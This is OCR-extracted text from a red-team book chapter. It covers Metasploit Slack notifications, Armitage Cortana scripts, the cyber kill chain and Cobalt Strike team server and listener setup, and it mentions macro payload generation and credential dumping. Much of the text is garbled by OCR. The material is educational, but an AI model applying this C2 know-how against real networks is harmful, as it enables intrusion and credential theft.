to easily monitor new incoming sessions. In a red-team activity, this is useful as it can
be used to monitor live phishing campaigns or a Rubber Ducky attack.

This plugin uses session subscriptions to monitor activity and send alerts to slack. Let's
take a look at how to set it up.

We clone sne11reraer and copy it to our Metasploit piugins directory using the following
commands. In our case, we saved the file as notify.rb 1N the destination folder:

git clone https://github.com/chrismaddalena/ShellHerder.git
cp ShellHerder/ShellHerder.rb /opt/metasploit-framework/embedded/framework/plugins/notify.rb

We will then register an account on netps://s1ack. con.

At this point, we choose Create a new workspace and follow the instructions:

https://slack.com/get-started#create

P¥ Hack The Planet - .. P 97K Men's Stand U.. [1 abxx [f] B Hack Forums [=) Kaotic Creations techorganic B gOtmilk: JZ, Tenable Nessus Vul.

Create a new workspace

To make a workspace from scratch, please confirm your email
address.

|- example.corr Confirm

Once the account is ready and we are logged in, we should be taken to a web page
which will look something like this:
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— (& ‘ & Secure | https://bugsbountyworkspace.slack.com/messages/DCHHGKTRC/ ‘i}| 0 o

: Apps ﬂ Index of /static/bock  wh How to implement E

Slack needs your permission to enable desktop notifications. x

BugsBounty slackbot G & | Q, Search | @ ¢ ¢

% active | slackbot .

| changed my mind. Take the tutorial.

- Today ~ MEW MESSAZES -

slackbot 4:31 am
L-- If you're not sure how to do something in Slack, just type your question below.

Invite People

Or press these buttons to learn about the following topics:

Your profile photo Emaoiji reactions Reminders

From the left-side menu in the Channels tab, we add a channel, as shown in the
following screenshot:
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/ . teamserver | BugsBounty X \\_-\'\.

— % ‘ @ Secure | https:;//bugsbountyworkspace.slack.com/messages/GCGTFD3QS/ % O 0

= Apps ﬂ Index of /static/bock  weh How to implement &

Slack needs your permission to enable desktop notifications. X
& teamserver ® & | 0 Sk | @ ¥

% | &1 | & Add a topic

a teamserver

You created this private channel today. This is the very beginning of the
& teamserver channel. Purpose: test (edit)

+ Add anapp & Invite others to this private channel
Today
u Himanshu 4:32 an
joined teamserver.

Invite People u Himanshu 4:33 am

set the channel purpose:; test

sne11reraer Telies on slack's incoming Webhooks to send real-time alerts from Metasploit.
So, as shown in the following screenshot, we now choose Add an application in the
channel we created.
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! LV \
/ . teamserver | BugsBounty X ) 4% Add Apps to Slack | Apps X\ ;

C | & Secure | https://bugsbountywarkspacea.slack.com/apps % O 0O

: Apps [ Index of /static/book  wen How to implement &

x.'- SIaCR Browse Manage Build ' BugsBounty ¥

Staff Picks [ Q. incoming webhook| ]
Featured
T, p Incoming WebHooks
i (f\'a Send data into Slack in real-time.
New & Noteworthy

Brilliant Bots B3 cresteamew ticket.
| B otk

+  Adiach s,

App Collections

E Aidtach to pull request

Bore inessape actici..

DUDsD %

Actions
. Turn your conversations into action
Categories
Create a task, comment, or follow-up from any Slack message with
Bots actions Learn more

At this point, we search for an incoming Webhook app and add it. We will be redirected

to the next page to configure the app. Here, we choose the channel name where we want
the alerts to be posted:
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- (] | @ Secure | hitps://bugsbountyworkspace.slack.com/apps/new/A0FTXDUAZ-incoming-webhooks 1}| O 0

=5 Apps ﬂ Index of /static/bock  wth How to implement b

p slack Browse  Manage  Build ' BugsBounty ¥

L0 TWGVE L oL IS S ST T .

Check out our Getting Started guide to familiarize yourself with the most common types of integrations,
and tips to keep in mind while building your own. You can also register as a developer to let us know
what you're working on, and to receive future updates to our APls.

Post to Channel

Start by choosing a channel

teamserver - ‘

where your Incoming Webhook

will post messages to. or create a new channel

Add Incoming WebHooks integration

By creating an incoming webhook, you agree to the Slack APl Terms

of Service.

Once we click on Add Incoming WebHooks integration, we will be taken to the next
page where we will see the generated URL of our Webhook. We will copy this for later
use and save the settings:
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— C | & Secure | https//bugshountyworkspace.slack.com/services/BCGOYUA92?added=1 w| O

=5 Apps Index of /static/bock  wh How to implement b
l:' Sla{:k App Directory Q Search App Directory Browse  Manage  Build ’1 BugsBounty ¥
Integration Settings

Post to Channel

Messages that are sent to the incoming fesras e i

webhook will be posted here.

or create a new channel

Webhook URL

Send your JSON payloads to this URL. https:/#hooks.slack.com/services/ TCH8JQGUX/BCGOYUA92/6LBcG5pTm8H60Y
Show setup instructions

Copy URL » Regenerate

Descriptive Label

Use this label to provide extra context }-_.:_..,\ onal description of this integration

in your list of integrations {optional).

Customize Name

Choose the username that this | incoming-webhook |

integration will post as.

Now we connect to our team server and load the plugin from the console, as follows:

msf > load notify
[*]

Successfully loaded plugin: notify

To configure the plugin, we run the ne1p command:
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msf > help

notify Commands

Description

notify_help Displays help

notify_save Save Settings to YAML File /root/.msf4/Notify.yaml.
notify _set source  Set source for identifying the souce of the message.
notify _set_user Set Slack username for messages.

notify set webhook Sets Slack Webhook URL.

notify_show_options Shows currently set parameters.

notify start Start Notify Plugin after saving settings.

notify stop Stop monitoring for new sessions.

notify_test Send test message to make sure confoguration is working.

We set the options and save the configuration using notify save:

msf > notify_show_options
|#| Parameters:

[+] Webhook URL: https://hooks.slack.com/services/TCH8JQGUX/BCGAYUA92/6L
[+] Slack User:

[+] Source:

msf > notify_set_user @himanshu

[#] Setting the Slack handle to @himanshu
msf > notify_save

[#] Saving options to config file

Running the notify test command will show us a message on slack, as shown in the
following screenshot:
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All Threads

a teamserver

Channels You created this private channel today. This is the very beginning of the & teamserver channel. Purpose:
test (edit)

+ Addanapp 8 Invite others to this private channel
Today
u Himanshu 4:32 am
joined teamserver.
u Himanshu 433 M
set the channel purpose: test

u Himanshu 2:42 An
added an integration to this channel: incoming-webhook
NEW MESSAEES
incoming-webhook APP 5:24 Av

« @himanshu Metasploit is online on MSF! Hack the Planet!

+ |s @O

Every time a new session pops up, we will get a notification on slack:

™

192.168.0.96
dfx-PC\dfx @ DFX-PC

The preceding screenshot shows the connection on our Armitage. We can see a new
notification message on our slack, as shown in the following screenshot:
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O
O

Himanshu 442 am
added an integration to this channel: incoming-webhook

incoming-webhook APP 5:24 am
@himanshu Metasploit is online on MSF! Hack the Planet!

o

New Messages —
incoming-webhook APP 5:30 aMm

@himanshu You did it! New session... Source: MSF; Session: 1; Platform: windows; Type: meterpreter

s @0©
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Armitage and Cortana scripts

Cortana is a scripting language that is built into Armitage and Cobalt Strike. This 1s
based on Sleep Scripting Language (nttp://s1eep.dasnnine.org/ ). We can find a lot of
Cortana scripts built by different people on the internet. These scripts can be used to
automate different tasks in Armitage. Running Cortana scripts is extremely easy. We will
use the scripts hosted on GitHub by rsmuage, found here at netps://githus. com/rsmudge/cortana-

scripts.

We then download the scripts on our computer and go to Armitage | Scripts... to run
them:

&rmitage View Hosts

Mew Connection

Preferences
Set Target View [ 2
Set Exploit Rank [ 2

SOCKS Proxy...

Listeners |
Close

In the window which opens, we choose Load and select the script we downloaded:


http://sleep.dashnine.org/
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® @ Open

Look In: lﬁ' cortana-scripts |v] [ = J l {oa J [ =) J [ i “ & )
[_ﬁ' annoy [ﬁ autoscan [ﬁ' botvoice [ﬁ' idlewatc
[ﬁ' autoarp [ﬁ av-bypass-demo [ﬁ' differ [ﬁ' import_c
ﬁ' autoDiscover [ﬁ' beacon [ﬁ' eval ﬁ' intl2 8sc
[ﬁ' autofind [ﬁ beef strike [ﬁ' events-table [ﬁ' ir{—clieﬂ
ﬁ' autohack [ﬁ' binaries [ﬁ‘ icon ﬁ' login_a
<l - T

File Name:

Files of Type: |All Files

|*)

[ Open ]

[ Cancel J

We will then try to run the icon script. This script identifies the services running and

displays icons according to them:
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® @

Look In: | [ icon

| | icons.cna
8 | [ ] icons.txt
| smb.png
8 || | ssh.png
' WWw.png

File Name:

Files of Type:

icons.cna

| All Files

’)

l Open J | Cancel |

Once the script is loaded, we then do the exploitation. When a new Meterpreter

connection comes, this script will automatically run:

‘a0 @

Armitage View Hosts Aftacks Workspaces Help

> ﬁ auxiliary
» [E5 exploit
» [ payload

» (&5 post

- v

[ Event Log X T multi/handler X TScripts X T Cortana X ]

Armitage

name

| flags

fUsers/Harry/cortana-scripts/icon/icons.cna

The script can sometimes take a while to run depending on the number of Meterpreter

connections we have on our Armitage.
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Within Armitage, the Cortana console is also provided. This allows us to interact with
the scripts we run.

To view the console, we go to View | Script Console, as follows:

VI Hosts  Attacks

Console
Event Log

Credentials
Downloads
lobs
Loot

Script Console

Reporting |

We can type re1p into the script console to see the list of all the commands:

cortana> help
Commands

askoff
askon
help
load
logoff

logon
1s
proff
profile
pron
reload
troff

tron
THGED

Cortana's official manual has described the functions for all the commands:
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Command Arpuments What it does
askoff script.cna let a script interact with Metasploit and compromised
hosts

help list all of the commands available

logoff script.cna stop logging a script's interaction with Metasploit and
compromised hosts

Is list all of the scripts loaded

profile script.cna dumps performance statistics for the script.

reload script.cna reloads the script

tron script.cna enable function trace for the script

Source: http://www.fastandeasy hacking.com/download/cortana/cortana_tutorial.pdf
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Summary

At the beginning of this chapter, we did a quick tour of the Metasploit framework, its
features, and its usage. We then learned about team server and the Armitage client,
including the setup and usage of Armitage. We also looked at integrating
Metasploit/ Armitage with slack so that it keeps us up to date about every new
connection via slack notifications.

Finally, we covered the basics of Cortana scripting and its usage.
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Questions

A il S

What version of Metasploit is best to use?
Is slack integration really necessary?

Can we make our own Cortana scripts?
Can we set up team server on Windows?
Is Metasploit free?
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

Cortana Tutorial: nttp://www. fastandeasyhacking. com/download/cortana/cortana tutorial.pdf
HarmJOy/cortana: nttps://github.con/Harmioy/cortana

Armitage: nttps://www.offensive-security.com/metasploit-unleashed/armitage/

Metasploit Unleashed: nttps://www.offensive-security.com/metasploit-unleashed/
ShellHerder: https://github.com/chrismaddalena/ShellHerder

Armitage - Cyber Attack Management for Metasploit: nccp://www. fastandeasynacki

ng.com/manual
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Getting Started with Cobalt Strike

In the previous chapters, we have covered some great new tools and some lesser known
techniques which could be very helpful in a Penetration Test. In general, a Penetration
Tester 1s expected to find the vulnerabilities and exploit those vulnerabilities to achieve
the highest level of access but in reality, very few can fulfil of whats expected of them.
Many Penetration Testers won't be able to reach the final goal due to lack of knowledge
and practical experience in topics such as post-exploitation, lateral movement, data
exfiltration, and especially when new tools and techniques are being released almost on
a daily basis. If we ask ourself, what could be the next level as a Penetration Tester?

Our answer would be—a Red Teamer. iskristriA Penetration Tester starts from Ethical

Hacking and moves up to the level where he/she can be called as a Penetration Tester
but Cyber-criminals don't just do a generic penetration testing on their target. They
rather, attack the organization with a harmful intent which led to mass data breaches and

Cyber espionage.

To protect the organization, we need to understand the mindset of a Cyber criminal. We
have to simulate a real cyber attack just to understand how devastating a cyber attack
could be on the organization. That is 'Red Teaming' and this is one of the crucial
differences between an effective red-team exercise and a penetration test. To perform a
successful red team exercise, the objective, scope, scenario, and Rules of Engage ment
(RoE) for performing the exercise needs to be accurately laid out at the beginning of the
exercise in order to simulate a real adversary and provide maximum value to the client
and the stakeholders.

In this chapter, we will cover the following topics:

Planning a red-team exercise
Introduction to Cobalt Strike
Cobalt Strike setup

Cobalt Strike interface
Customizing a team server
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Technical requirements

Oracle's Java 1.7 or later

Cobalt Strike (the trial version lasts for 21 days)
Microsoft Word

Visual Basics
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Planning a red-team exercise

The red-team exercise is not just a mere pentest; it's an adversary attack simulation
exercise that allows us to assess the following;

If the organization can detect the attack or not

If an organization is able to contain/ restrict the attack after detection

If the organization can protect their business critical assets from the red teamers or
not

How the defenders of an organization perform an incident response in the event of
such attacks

Before getting into the planning phase of the red-team exercise, first you need to
understand the concept of the cyber kill chain.
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Cyber Kkill chain (CKC)

The kill chain is a concept that derives from military operations used to structure an
attack. This includes breaking down the mission into several phases and beginning the
attack accordingly when the end goal is to destroy. These chain of attacks are
collectively called kill chains. The cyber kill chain is a process in which each step
represents an attack and a threat actor (adversary) can link these attack vectors together
to form a chain with the end goal of espionage, ransoming, or destruction. The cyber
kill chain methodology is as follows:
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Reconnaissance

Weaponization

Exploitation

Installation

Command &
Control

sInformation gathering (website attack) ™
*Email & credentials harvesting (phishing attack)

*OSINT (watering-hole, if needed)

sFinding vulnerabilities in the network .

*Meterpreter-like malware (basic)
eCustom coded malware with fully undetectable (FUD) features (advance)
*A self-replicated malware which could be destributed via USB

eDelivering the malware created for the victim via different channels (malicious
document, PDF, game installer, software downloader, fake updates, USB, and so on.)

eDelivered malware would most likely be a FUD in case of cyber espionage.

*Malware code is "detonated" on the victim
*Malware tries to exploit the vulnerabilities found in the reconnaissance stage.

. 4

A

ePersistance on the system (Backdoored)

e

*Once executed and installed (persistance) on the system, malware will connect back to
the command & control (C2) server and wait for further instructions from the intruders.

4

sAction taken after successful intrusion.
eData exfiltration, data destruction, data encryption for ransom, and so on.
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Reconnaissance

This 1s the most crucial phase of a CKC. The adversary will try to gather as much
information as possible on the target. For example, an adversary can look for an
organization's website for vulnerabilities or an employee's profile/email/credentials for
a spear phishing or watering-hole attack. It can also dumpster dive to look for certain
credentials and access keys in the target organization's network, Open Source
Intelligence (OSINT), and so on.

ttps://github.com/jivoi/awesome-osint

0 You can find a really well-maintained list of tools and public online portals for gathering intel at this link: »
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Weaponization

The main aspect of this phase is to weaponize the malware that will be delivered to the
target system. The malware could be a simple meterpreter payload, Empire agent,
Koadic stager, or a complex custom-coded program. The type of malware depends on
the level of adversaries. If the adversary 1s highly skilled, he/she would mostly use a
custom coded malware to avoid detection. Even if the adversaries are using meterpreter
(a downloader embedded in a Microsoft office document macro that would download
and inject the meterpreter payload into the memory) as their weaponized malware, they
still need to obfuscate, encode, and encrypt the payload for bypassing general & latest
protection mechanisms. For organizations having no back office, the USB embedded
malware 1s used to infect the systems of the employees working there.
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Delivery

In this phase, the weaponized malware will be delivered to the target organization's
employees, their family, HR, and other departments in the form of office documents or
PDFs. These documents will have catchy titles such as Updated holiday calendar,
Resumes, or Appraisal time. Once the employee opens up the document and performs
certain actions, such as enabling the macros, the weaponized malware is called from the
server for execution.
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Exploitation

The malware that was delivered to the target is then detonated (executed) on the system
which then performs actions instructed (coded into) by the malware. This might include
gaining access to the FTP servers using the credentials found in the reconnaissance
phase and using those FTP servers as the pivotal point in which to distribute the
malware on each and every system on the target network as a software update installer.
This phase focuses on the execution of the malware and the exploitation of vulnerable
services in the network (if coded into the malware).
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Installation

Once the malware is executed on the system, the first thing it needs to do is install itself
(backdoor) on the system so that the adversaries can access it anytime they want to hide
in such a way that the AVs don't detect its presence. Persistence can be achieved either
by writing on the disk (this may include the startup folder, the registry, and so on) or in-
memory/file-less write (such as WMI).
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Command and Control Server

The malware which would be properly executed and backdoored with persistence on
the system will call back and report to the Command and control Server (C2). The
malware will then be ready to execute the commands that would be instructed by the
threat actors. These commands could differ from a simple getting to know the username
and roles to dumping all the employee credentials.
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Actions

This will be the final phase of the kill chain in which the adversary gets access to the
system and is ready to execute a plan on it—this could be a data exfiltration (cyber
espionage) mission in which the crown jewels of an organization are exfiltrated, a data
destruction mission in which the data will be securely shredded or deleted in such a
way that it can't be recovered in any way possible, or a ransom setup in which the
important data will be encrypted and the threat actors will demand a ransom amount for
decryption.

A red-teamer needs to know exactly how he or she can use the concept of CKC in order
to get access to the target organization's network. However, to even perform this task,
the red-teamers need to come up with a plan that should be executed properly for a
successful adversary simulation. Look at the following for the basic planning phases and
try to answer the questions as accurately as possible. Once you find the answers, you're
ready for execution:

Rules of

Obijective Strategy Engagement
(RoE)
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Objective and goal

e What is your main objective here?
e What do you want to achieve with this exercise?
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Rules of Engagement (RoE)

What's the scope of this exercise?

How long will it take (timeline) for this exercise to get the results?

Who are the stakeholders and the people responsible (in case of emergency)?
Who will be doing the incident response?
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Scenario/strategy

How can you achieve the end goal?

Where are you in the kill chain and what kind of attack would you use according to
it?

What will be plan of attack here?

How will you design the kill chain for this exercise?
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Deliverables

e What will be the result of this exercise?
e Did the defenders learn their lessons or not?

There are multiple tools that can be used in a red-team exercise, but the real problem is
to use all the tools so that the backdoor connections are easily manageable. If it's just a
system or two, it's still manageable. However, if there's a huge number of systems then
managing each session can be quite difficult. To solve this problem, we will introduce
you to Cobalt Strike, a tool for executing and managing a red-team operation.
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Introduction to Cobalt Strike

ACCOI’ding tO cobaltstrike.com:

"Cobalt Strike is a software for Adversary Simulations and Red Team Operations.
Adversary Simulations and Red Team Operations are security assessments that replicate
the tactics and techniques of an advanced adversary in a network. While penetration
tests focus on unpatched vulnerabilities and misconfigurations, these assessments
benefit security operations and incident response."

Cobalt Strike can be downloaded from nttps://trial.cobaltstrike.com/ ON a trial basis,
which is valid for 21 days. It may take few days for the site to provide you with the
download link:


https://trial.cobaltstrike.com/
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€ (% #§ Secure | https:/ftrial cobaltstrike.com

\ JOURLORD

Waould you like to try Cobalt Strike? Great! Tell us a litle about yourself and we'll get & trial copy to you.

Ifyou'd like to buy Cobalt Strike, you may request a quote or buy online,

Company*

Website

Primary Contact Name *

Primary Contact Title

‘Really Important Person ‘

Primary Contact Email *
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Before installing Cobalt Strike, please make sure that you have Oracle Java installed
with version 1.7 or above. You can check whether or not you have Java installed by
executing the following command:

|java -version

[ NN ] ¢ Harry — -bash —

.nloads/cobaltstrike — java « sudo . Itstrike — java -jar cobaltstrike.jar ~/Responder — -bash

), mixed mode)

If you receive the java commana not founa €rror or another related error, then you need to
install Java on your system. You can download this here: nttps://wm.java.com/en/.

Cobalt Strike comes in a package that consists of a client and server files. To start with
the setup, we need to run the team server. The following are the files that you'll get once
you download the package:

RN
19 i
11 ok _keys

The first thing we need to do is run the team server script located in the same directory.
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What is a team server?

e This 1s the main controller for the payloads that are used in Cobalt Strike.

o It logs all of the events that occur in Cobalt Strike.

e It collects all the credentials that are discovered in the post-exploitation phase or
used by the attacker on the target systems to log in.

e Itis a simple bash script that calls for the Metasploit RPC service (mstrpea) and
starts the server with covaitstrike.jar. This script can be customized according to
the needs.

Cobalt Strike works on a client-server model in which the red-teamer connects to the
team server via the Cobalt Strike client. All the connections (bind/reverse) to/from the
victims are managed by the team server.

f- %‘h‘/" Wctlm 1

Team |’ 5
Server ""l Victim 2 ‘

&
CS Client \ Victim 3

L" s

The system requirements for running the team server are as follows:

e System requirements:

e 2 GHz+ processor

e 2 GBRAM

e 500MB+ available disk space
e Amazon EC2:

o At least a high-CPU medium (c1.reqiun, 1.7 GB) instance
e Supported operating systems:

Technet24
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e Kali Linux 1.0, 2.0 — 1386 and AMD64

e Ubuntu Linux 12.04, 14.04 — x86, and x86 64
e The Cobalt Strike client supports:
Windows 7 and above
macOS X 10.10 and above
Kali Linux 1.0, 2.0 — 1386 and AMD64
Ubuntu Linux 12.04, 14.04 — x86, and x86 64

As shown in the following screenshot, the team server needs at least two mandatory
arguments in order to run. This includes host, which is an IP address that is reachable
from the internet. If behind a home router, you can port forward the listener's port on the
router. The second mandatory argument is password, which will be used by the team
server for authentication:

- MM-00]

{defoult)y IF address of this Cobr _ Lke team server
the shared paossword to co 5 server

" D[I] s kil dnte for Beacon pﬂ-.lu_u1u1~ run from this servar

The third and fourth arguments specifies a Malleable C2 communication profile and a
kill date for the payloads (both optional). A Malleable C2 profile is a straightforward
program that determines how to change information and store it in an exchange. It's a
really cool feature in Cobalt Strike.

The team server must run with the root privileges so that it can start the listener on
system ports (port numbers: o-1023); otherwise, you will receive a rermission deniea €ITOT
when attempting to start a listener:
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CotltSirke Vi Atizcs Renoing Hel
QEOE=¢AYAU GBI Fa R

exerna nternl + L5er computer me pd

i ¥

FientLog X Listeners X

e Dayload hnct oot beacors

Re33 ERROR! Permisson deried (Bind - windows/beacon_ htpsreverse.fitps ' B 19216803
Could nat start lstener:

Permisson denied (Bind faled)

o

The permission deniea €rror can be seen on the team server console window, as shown in
the following screenshot:
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L15tener: Fww (Windows/beacon_https/reverse_nttps) on port 53 fouled: Permssion demed (Bind o led)
Trapped Jovo.10. A elotFoundException durtng save L1stengrs [save threqd for: Listeners]: /Users/arry/
"'""'IHII 1H|| a)
1HHHTFHIHI|TEHHLITHII {sers; Hnrr'[In'nn'nlnm 'copaltstrike/doto/Tisteners.bun (Permssion demed)
|

.Fl

¢
10.F1 |
|']1' 10.F 1H|||J1'L o, onenB(Nottve | M“Hl”n
0t Jov0. 10, FL1e0utputStrean. open( H f ||JTLIIJ’r strean. Jova:20)
0t J0va.10. FL eDutputStrean, <t £( A LeQutputStrean. Jova: 213)
0t server, Perststentloto. _sove( PersLstentlata, J0va. 29)
0t server, PerststentData, run(Persistentloto, Jovo:44)
ot Jova. ang. Thread. run(Thread. Jovo: /43)
(1] Trapped Jov0.10.EOFEXception 1|er|1 clent (192.168.0.39) read [Manoge: harry]: null

Now that the concept of the team server has been explained, we can move on to the next
topic. You'll learn how to set up a team server for accessing it through Cobalt Strike.
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Cobalt Strike setup

The team server can be run using the following command:

| sudo ./teamserver 192.168.10.122 harry@123

Here, I am using the IP 192.165.10.122 as my team server and narrye123 as my password for
the team server:

If you receive the same output as we can see in the preceding screenshot, then this
means that your team server is running successfully. Of course, the sua2s6 hash for the
SSL certificate used by the team server will be different each time it runs on your
system, so don't worry if the hash changes each time you start the server.

Upon successfully starting the server, we can now get on with the client. To run the
client, use the following command:

java -jar cobaltstrike.jar

ava -jar cobaltstrike. jar

Connect

This is the connect dialeg. You should use it to
connect to a Cobalt Strike (Aggressor) team server.

Host:  |192.168.10.122

User: _[harr',,'

|
Part: 50050 ]
l
|

Password: [FHttsssrs

I Connect H Help l

Technet24
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This command will open up the connect dialog, which is used to connect to the Cobalt
Strike team server. At this point, you need to provide the team server IP, the Port number
(which 1s so00s0, by default), the User (which can be any random user of your choice),
and the Password for the team server. The client will connect with the team server when
you press the Connect button.

Upon successful authorization, you will see a team server fingerprint verification
window. This window will ask you to show the exact same SHA256 hash for the SSL
certificate that was generated by the team server at runtime. This verification only
happens once during the 1nitial stages of connection. If you see this window again, your
team server 1s either restarted or you are connected to a new device. This is a
precautionary measure for preventing Man-in-the-Middle (MITM) attacks:

@ VerifyFingerprint

The team server's fingerprint is:
af0bfce452af17554b4aa3a591cfb37d528eb2858154b21efe35cef6eld2cl6a

Does this match the fingerprint shown when the team server started?

Once the connection is established with the team server, the Cobalt Strike client will
open:
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00 Cobalt Strike (Trial
Cobalt Srike View Aftacks Reporting Help
DEOE=¢8Y/U GwEH o B

external internal & Lser computer nofe

lop Interface:
Visualization Tap

06/19 23:17:47 #&+ harry

Let's look further to understand the Cobalt Strike interface so that you can use it to its
full potential in a red-team engagement.
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Cobalt Strike interface

The user interface for Cobalt Strike 1s divided into two horizontal sections, as
demonstrated in the preceding screenshot. These sections are the visualization tab and
the display tab. The top of the interface shows the visualization tab, which visually
displays all the sessions and targets in order to make it possible to better understand the
network of the compromised host. The bottom of the interface shows the display tab,
which is used to display the Cobalt Strike features and sessions for interaction.
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Toolbar

Common features used in Cobalt Strike can be readily accessible at the click of a

button.

The toolbar offers you all the common functions to speed up your Cobalt Strike usage:

Cobalt Strike View Attacks Reporting Help
OB () H=¢ B LPLU TwBEHN /a B

external internal = user

Each feature in the toolbar is as follows:

am pS [(re- Fleed

View credentials

View downloaded files
View keystrokes

View screenshots

Generate a stageless Cobalt Strike executable or DLL
Setup the Java Signed Applet attack

Generate a malicious Microsoft Office macro

Stand up a Scripted Web Delivery attack

Host a file on Cobalt Strike's web server
Manage files and applications hosted on Cobalt Strike's web server

Visit the Cobalt Strike support page
About Cobalt Strike

Technet24
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Connecting to another team server

In order to connect to another team server, you can click on the + sign, which will open
up the connect window:

—|Cunr'ﬂ:'t to team Eeruerr

All of the previous connections will be stored as a profile and can be called for
connection again in the connect window:

Cobalt Strike

— 000 Connect | computer

New Profile This is the connect dialog. You should use it to

192.168.10.122 connect to a Cobalt Strike (Aggressor) team server.

192.168.0.39

192.168.2.6 Host  [192.168.2.6 ]
Port: 50050 ]
User: lhima nshu ]

Passwnrd: l********

| Comect || el |
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Disconnecting from the team server

By clicking on the minus (—) sign, you will be disconnected from the current instance of
the team server:

o0 @
Cobalt Strike View Attacks Reporting Help

D0 QO EH=e B PLU e BE

TDiECﬂﬂﬂECt from team EEWEF}

internal -

You will also see a box just above the server switchbar that says Disconnected from
team server. Once you disconnect from the instance, you can close it and continue the
operations on the other instance. However, be sure to bear in mind that once you close
the tab after disconnection, you will lose all display tabs that were open on that
particular instance. What's wrong with that?

This may cause some issues. This is because in a red-team operation you do not always
have the specific script that will execute certain commands and save the information in
the database.

In this case, it would be better to execute the command on a shell and then save the
output on Notepad or Sublime. However, not many people follow this practice, and
hence they lose a lot of valuable information.

You can now imagine how heart-breaking it can be to close the instance in case of a
disconnection and find that all of your shell output (which was not even copied to
Notepad) is gone!
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86/19 23:17:47 harry
06/22 13:39:47 himanshu

[06/23 22:44] himanshu
event>

| harry@192.168.2.6 | EspionageServer |

Technet24
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Configure listeners

For a team server to function properly, you need to configure a listener. But before we
can do this, we need to know what a listener actually is.

Just like the handler used in Metasploit (that is, exp1oit/muiti/nanarer), the Cobalt Strike
team server also needs a handler for handling the bind/reverse connections to and from
the target/victim's systenv/server. You can configure a listener by clicking on the
headphones-like icon:

o0 @
Cobalt Strike View Attacks Reporting Help
oA E=¢ 8L &w B

extern=l internal =
|D:mﬁgure U5tener5|

After clicking the headphones icon, you'll open the Listeners tab in the bottom section.
Click on the Add button to add a new listener:
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fO ( Coblt Strike (Trial)
Cobok e View Atac Reportng fo
QRO Bz BYAUGeRD da BD

Fientog X | Listenrs X

name piyload o pot beacors

You can choose the type of payload you want to listen for with the Host IP address and
the port to listen on for the team server or the redirector:

In this case, we have used a veacon payload, which will be communicating over SSL.
Beacon payloads are a special kind of payload in Cobalt Strike that may look like a
generic meterpreter but actually have much more functionality than that. Beacons will be
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discussed in more detail in further chapters.
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(it Yo s Rt b
ORIz BEAU Gull da lb

bol New Listaner

(reate a listener,

Name;

Fientog X | Ltenes X

Payload: 'wma{beacon_nttp/reverse_hm v
name payload | | pot beacors

i ||| et |1
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As a beacon uses HTTP/S as the communication channel to check for the tasking
allotted to it, you'll be asked to give the IP address for the team server and domain name
in case any redirector is configured (Redirectors will be discussed in more details in
further chapters):

(o Yo s Byt
QRO BZ6BYAUGeRE fulp

000 Nowlistoner

(reate 3 listaner,

Name; I_Reth[psEeacun_

| |
Fientog X | Usteners H|

Payload: 'mms{beamn_https/rewrse_hups v
name payfoad . pot beacons
ot 192168.26 ||

Ty

S

Once you're done with the previous step, you have now successfully configured your
listener. Your listener is now ready for the incoming connection:
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FientLog X Listeners X

Jame peoad ot oot beacons
RehitsBeacon. Wicons/beacon Pt reerse s 19218826 i 19216826

0
0 Started Listener
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Session graphs

To see the sessions in a graph view, you can click the button shown in the following
screenshot:

000
Cobalt Strike View Aftacks Reporting Help

O0E O E=s¢e B PH &w B

Show sessions in graph view

Session graphs will show a graphical representation of the systems that have been
compromised and injected with the payloads. In the following screenshot, the system
displayed on the screen has been compromised. er s the user, »r-zc 1s the computer name
(hostname), and the numbers just after the e are the PIDs of the processes that have the
payload injected into them:

N K ) Cobalt Strike (Trial
Cobalt Strike View Attacks Reporting Help

08 QO E=¢ BELPU B /e G

=

-PC @
PT-PC @ 2124 PT-PC @ 2908

PT
PT-PC @ 2456

When you escalate the privileges from a normal user to nr avrnorrrv\svsrem (vertical
privilege escalation), the session graph will show the system in red and surrounded by
lightning bolts. There is also another thing to notice here: the - (asterisk) just after the
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username. This means that the system with PID 1754 1s escalated to wr avrsortTy\sysTem:

00 @
Cobalt Strike View Attacks Reporting Help

DA QO ES¢ BE PR &

PT-PC @ 1784 PT-PC @ 3172
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Session table

To see the open sessions in a tabular view, click on the button shown in the following
screenshot:

| NN
Cobalt Strike View Attacks Reporting Help

Oa O EH=¢ 5% ,PH e BE

Show sessions in table view

All the sessions that are opened in Cobalt Strike will be shown along with the sessions'
details. For example, this may include external IP, internal IP, user, computer name, PID
into which the session is injected, or last. Last is an element of Cobalt Strike that is
similar to WhatsApp's Last Seen feature, showing the last time that the compromised
system contacted the team server (in seconds). This is generally used to check when the
session was last active:

0o Cobalt Strike (Tria)
CobaltStrke View Attacks Reparting Help
QRN B¢ B AU GwlE du b

extera infemal & e Computer e pd st
Eﬂ 192.168.2.14 192.168.2.14 T PT-RC U4 3%
@ 192.168.2.14 192.168.2.14 T PT-pC W5 35
Eﬂ 192.168..14 192.168.2.14 T PT-RC 208 s

Right-clicking on one of the sessions gives the user multiple options to interact with, as
demonstrated in the following screenshot:
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external

internal =~

192.168.2.14
192.168.2.14
192.168.2.14

192.168.2
192.168.2
192.168.2

14

Interact
Access
Explore
Pivoting *
spawn

Session ¢

192.168.2.14
192.168.2.14
192.168.2.14
192.168.2.14
192.168.2.14
192.168.2.14

These options will be discussed later in the book.

PT-PC
PT-PC
PT-PC

PT-PC
PT-PLC
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Targets list

To view the targets, click on the button shown in the following screenshot:

external = '
ne |Show targets in table view|
B 192.168.2.14 '=——————————rorrrooerid
BN 192.168.2.14 192.168.2.14
BA 192.168.2.14 192.168.2.14

Targets will only show the IP address and the computer name, as follows:

r

address = name

‘ P 192.168.2.14 PT-PC

For further options, you can right-click on the target:
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I~ 192,168.2 24

Login k
"F"T@EEIDE 4
PT *@1784 »
PT@2124 »
PT@2456 +
PT@3172 »
PT@3172 »
Scan
Services
.ﬂﬂﬁt b

From here, you can interact with the sessions opened on the target system. As you can
see in the preceding screenshot, PT@2908 is the session opened on the given IP and the
beacon payload resides in the PID 290s. Consequently, we can interact with this session
directly from here:
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192.168.2.14

PT *@1784 * | pccess »
PT@2124 * | Eyplore »
PT@2456 | pivoting »
PT@3172  *| gpawn

PT@3172 *| secsion »
Eﬂan —

Services

Host b
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Credentials

Credentials such as web login passwords, password hashes extracted from the SAM
file, plain-text passwords extracted using mimikatz, etc. are retrieved from

the compromised system and are saved in the database. They can be displayed by
clicking on the icon shown in the following screenshot:

o0 @
Cobalt Strike View Attacks Reporting Help

OB O H=S¢ 8T PH X BEE &

Credentials

When you perform a nasnaump in Metasploit (a post-exploitation module that dumps all
NTLM password hashes from the SAM database), the credentials are saved in the
database. With this, when you dump hashes in Cobalt Strike or when you use valid
